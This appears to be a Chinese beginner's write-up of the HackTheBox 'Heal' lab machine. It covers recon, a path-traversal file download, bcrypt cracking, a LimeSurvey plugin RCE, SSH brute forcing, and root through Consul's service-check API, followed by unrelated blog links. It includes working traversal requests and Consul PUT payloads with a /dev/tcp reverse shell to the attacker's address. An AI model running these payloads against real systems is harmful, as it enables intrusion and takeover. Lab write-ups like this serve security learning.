[HTB] 靶机学习(一)Heal

概要

学习hackthebox的第一天,本人为初学者,将以初学者的角度对靶机渗透进行学习,中途可能会插入一些跟实操关系不大的相关新概念的学习和解释,尽量做到详细,不跳步,所以也会有理解不正确的地方,欢迎大佬们提出指正

信息收集

端口扫描

由于可能是网络问题,扫描全端口很慢,所以用-F扫描top100端口,-sC表示使用nmap默认脚本扫描,-sV表示探测服务版本信息

nmap -sC -sV -F 10.10.11.46
Starting Nmap 7.94 ( https://nmap.org ) at 2025-05-01 11:05 CST
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 10.10.11.46
Host is up (3.5s latency).
Not shown: 95 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
110/tcp open tcpwrapped
514/tcp filtered shell
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到,开放了22,25,80,110,514端口

先看看80端口的,注意到标题Did not follow redirect to http://heal.htb/,无法重定向,所以先改一下hosts文件并访问网站

子域名爆破

模糊测试HOST头部,匹配200状态码

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -u http://heal.htb -H "Host: FUZZ.heal.htb"

-w:设置字典

-mc:匹配http状态码

-H:匹配http头部

发现api.heal.htb子域名

添加子域名并访问网站

echo '10.10.11.46 api.heal.htb' >> /etc/hosts

目录爆破

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://heal.htb -t 50

发现survey路由,访问http://heal.htb/survey

点击参与调查,跳转到新的子域名http://take-survey.heal.htb,显示无法使用此页面,需要添加到hosts文件

得到用户名ralph

子域名目录爆破

dirsearch -u "http://take-survey.heal.htb/index.php/" -i 200,302

因为503太多了,选择-i 只匹配200,302

有多个302跳转,访问http://take-survey.heal.htb/index.php/admin/authentication/sa/login

差不多收集完了,从头开始看看

漏洞利用

目录遍历

回到http://heal.htb,注册一个看看,随便填

注册完划到最下面

点击导出pdf,抓包

放行到第三个包

发现了filename参数,试试能不能利用目录遍历来读取敏感文件

GET /download?filename=../../../../../etc/passwd

找到两个/bin/bash登录用户,ralph和ron

再看看第一个获取到的子域名http://api.heal.htb

看看ruby by rails有没有什么敏感文件,然后利用目录遍历读取出来,经过搜索,发现有数据库相关的配置文件

依旧是尝试一个个添加../

GET /download?filename=../../config/database.yml

发现了数据库文件,读取看看

GET /download?filename=../../storage/development.sqlite3 HTTP/1.1

哈希爆破

$2a$开头,为bcrypt类型的hash,所以指定-m 3200

hashcat -m 3200 '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' /usr/share/wordlists/rockyou.txt

得到明文147258369

$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369

Session..........: hashcat
Status...........: Cracked

尝试ssh登录,密码错误,看来不是用来登录ssh的密码

└─# ssh ralph@10.10.11.46

回想到刚才有个登录界面,用ralph/147258369登录看看,语言选择中文

http://take-survey.heal.htb/index.php/admin/authentication/sa/login

limesurvey 6.6.4 rce

(https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE)

下载上述网址的zip

修改revshell.php的ip和端口,我的是kali的ip

将修改后的revshell.php和config.xml打包成zip

选择配置-》插件

选择上传并安装,上传刚刚的zip文件

上传zip

选择安装

可以在第二页看到我们刚刚安装的插件

激活插件

得到插件的id是21

修改插件id

python exploit.py http://take-survey.heal.htb ralph 147258369 80

在kali上反弹shell成功

升级为交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

www-data权限还是比较低的,看看有没有什么敏感文件,比如数据库文件,网站配置文件等

find /var/www/ -type f -name '*config*' 2>/dev/null -print0 | xargs -0 grep -i 'pass'
find /var/www/ -type f -name '*config*':找到/var/www目录的文件名中带有config的普通文件
2>/dev/null:错误重定向,隐藏错误输出
-print0:每个匹配的文件用 null 字符(\0) 结尾输出,用于防止文件名中含有空格、换行、特殊字符造成问题。
xargs:接收前面 find 命令输出的文件路径,并一批一批地传递给下一个命令(即 grep)执行。 -0:告诉 xargs 以 null 字符(而不是空格或换行)分隔输入,与 -print0 配合,防止路径中有空格出错。
grep -i:不区分大小写,逐行查找关键字

找到一个密码AdmiDi0_pA$$w0rd

将收集到的密码写到pass,用户名写到user

ssh爆破

使用msf爆破ssh

msfconsole
set RHOSTS 10.10.11.46
set PASS_FILE /root/pass
set USER_FILE /root/user
run

得到用户名和密码ron:AdmiDi0_pA$$w0rd,ssh登录得到第一个flag

权限提升

ssh端口转发

查看端口开放

ss -tuln

由于虚拟机网络问题,抽风了,连接很慢,且都是在127.0.0.1上的内网服务,正常是无法访问的,需要端口转发,改用本机的mobaxterm进行端口转发,经过尝试,3000是最开始的heal.htb,其他端口没什么有用的,基本没有实际服务,只有8500端口看起来比较有用,

打开mobaxterm内置的终端

ssh -L 8500:127.0.0.1:8500 ron@heal.htb
冒号前面是本地端口,冒号后面是远程服务器的端口,也就是10.10.11.46上的内网服务

ssh -L :本地端口转发,用ssh连接建立ssh隧道,当访问本地的8500端口时,通过ssh隧道转发到heal.htb上的8500端口,相当于本地通过ssh隧道访问heal.htb的内网服务

本机访问http://127.0.01:8500,找到了版本号Consul v1.19.2,查一下有没有漏洞

Hashicorp Consul v1.0 RCE

发现有rce漏洞

参考https://blog.csdn.net/lhh134/article/details/135673444

访问http://127.0.0.1:8500/v1/agent/self

查找EnableRemoteScriptChecks,为true,大概是有漏洞的

poc似乎有点问题,Request decode failed: json: unknown field "script"

后来又找到另一个

https://www.exploit-db.com/exploits/51117

发现这里没有写script键值对,删除试试,回显200,接着访问http://127.0.0.1:8500/ui/server1/nodes/consul-01/health-checks,发现是root用户

PUT /v1/agent/service/register HTTP/1.1
Host: 127.0.0.1:8500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
X-Consul-Token:
Content-type: application/json
Connection: close
Content-Length: 246 {
"ID": "bpPeMfZuAN",
"Name": "bpPeMfZuAN",
"Address":"127.0.0.1",
"Port":80,
"check":{ "Args": ["sh", "-c","whoami"],
"interval":"10s",
"Timeout":"86400s"
}
}

反弹shell(root)

PUT /v1/agent/service/register HTTP/1.1
Host: 127.0.0.1:8500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
X-Consul-Token:
Content-type: application/json
Connection: close
Content-Length: 295 {
"ID": "bpPeMfZuAN",
"Name": "bpPeMfZuAN",
"Address":"127.0.0.1",
"Port":80,
"check":{ "Args": ["/bin/bash", "-c","/bin/bash -i >& /dev/tcp/10.10.14.29/1234 0>&1"],
"interval":"10s",
"Timeout":"86400s"
}
}

先在kali监听1234端口,发送请求包

在root目录的root.txt找到第二个flag

[HTB] 靶机学习(一)Heal的更多相关文章

  1. LKWA靶机学习

    LKWA靶机学习 目录 LKWA靶机学习 1 下载地址 2 Blind RCE 2.1 利用Burpsuite Collaborato模块来查看输出. 2.2 尝试利用dnslog进行回显 3 XSS ...

  2. Vulnhub-XXE靶机学习

    ------------恢复内容开始------------ 前两天在微信公众号上看见了这个XXE靶场,就想试一试,虽然网上关于这个的文章已经写了太多太多了,但还是要写出来划划水,233333333, ...

  3. DC-2靶机

    DC-2 靶机获取:http://www.five86.com/ 靶机IP:192.168.43.197(arp-scan l) 攻击机器IP:192.168.43.199 在hosts文件里添加:1 ...

  4. 21. 从一道CTF靶机来学习mysql-udf提权

    这次测试的靶机为 Raven: 2 这里是CTF解题视频地址:https://www.youtube.com/watch?v=KbUUn3SDqaU 此次靶机主要学习 PHPMailer 跟 mymq ...

  5. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  6. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  7. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  8. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  9. 【HTB系列】靶机Querier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...

  10. 【HTB系列】靶机Netmon的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结和反思: win中执行powershell的远程代码下载执行注意双引号转义 对po ...

随机推荐

  1. Luogu P10581 蓝桥杯2024国A 重复的串 题解 [ 蓝 ] [ KMP ] [ 动态规划 ] [ 矩阵加速 ]

    重复的串:KMP + dp 的板子题. 暴力 dp 设计 \(dp_{k,i,j}\) 表示主串匹配到第 \(i\) 位,模式串有 \(j\) 位已匹配完成,目前已完成 \(k\) 次匹配的方案数. ...

  2. 清华博士后的DeepSeek使用手册,104页,真的是太厉害了!(免费领取源文件)

    <DeepSeek从入门到精通2025>是由清华大学元宇宙文化实验室的余梦珑博士后及其团队撰写.文档的核心内容围绕DeepSeek的技术特点.应用场景.使用方法以及如何通过提示语设计提升A ...

  3. intellij debug模式提示 Method breakpoints may dramatically slow down debugging 解决办法

    直接上图........ 点击图中按钮  或者 快捷键(Ctrl - Shift -F8 ) 出现下图  

  4. Java进阶 - [1-5] 集合容器

    ArrayList add 1.先确认是否需要扩容,如果需要,则进行扩容操作ensureExplicitCapacity. 2.进行赋值 elementData[size++] = e; 扩容 1.如 ...

  5. 中国联通校园招聘:软件研究院Offer面经

      本文介绍2024届春招中,中国联通软件研究院广州分院的软件研发岗位的3场面试基本情况.提问问题等.   2024年03月投递了中国联合网络通信有限公司下属软件研究院的软件研发岗位,所在部门为广州分 ...

  6. PHP开发技巧:如何实现数据过滤功能

    输入过滤 输出过滤 1.输入过滤 1.1前端验证 JavaScript的方式,正则等,(略) 1.2后端验证 1.2.1 使用filter_var函数 PHP提供了filter_var函数用于过滤和验 ...

  7. sourcetree 重新设置git账号密码

    设置提交git账号邮箱 到项目根目录,执行 vi ~/.gitconfig ,直接编辑修改即可 重新设置git登陆账号密码 打开 sourcetree 的偏好设置,选择高级,然后移除即可

  8. go module基本使用

    前提 go版本为1.13及以上 官方文档 如果你想更深层次的了解GO MODULE的意义及开发者们的顾虑,可以直接访问官方文档(EN) https://github.com/golang/go/wik ...

  9. 原生 JS 实现 HTML 转 Markdown ,(html2md.js 或 html2markdown.js)

    之前因为一些需要,需要转换部分 HTML 标签成 markdown 格式,但是不知不觉就完善到一个相对完整的函数. 然后我就封装成了一个文件放在了 github ( https://github.co ...

  10. Ubuntu下RabbitVCS的安装和简单使用

    最近需要在Ubuntu下玩一段时间,但是没找类似TortoiseSVN的熟悉点的Subversion工具,无意间发现了RabbitVCS,操作上非常nice,留爪. 下载 RabbitVCS Rabb ...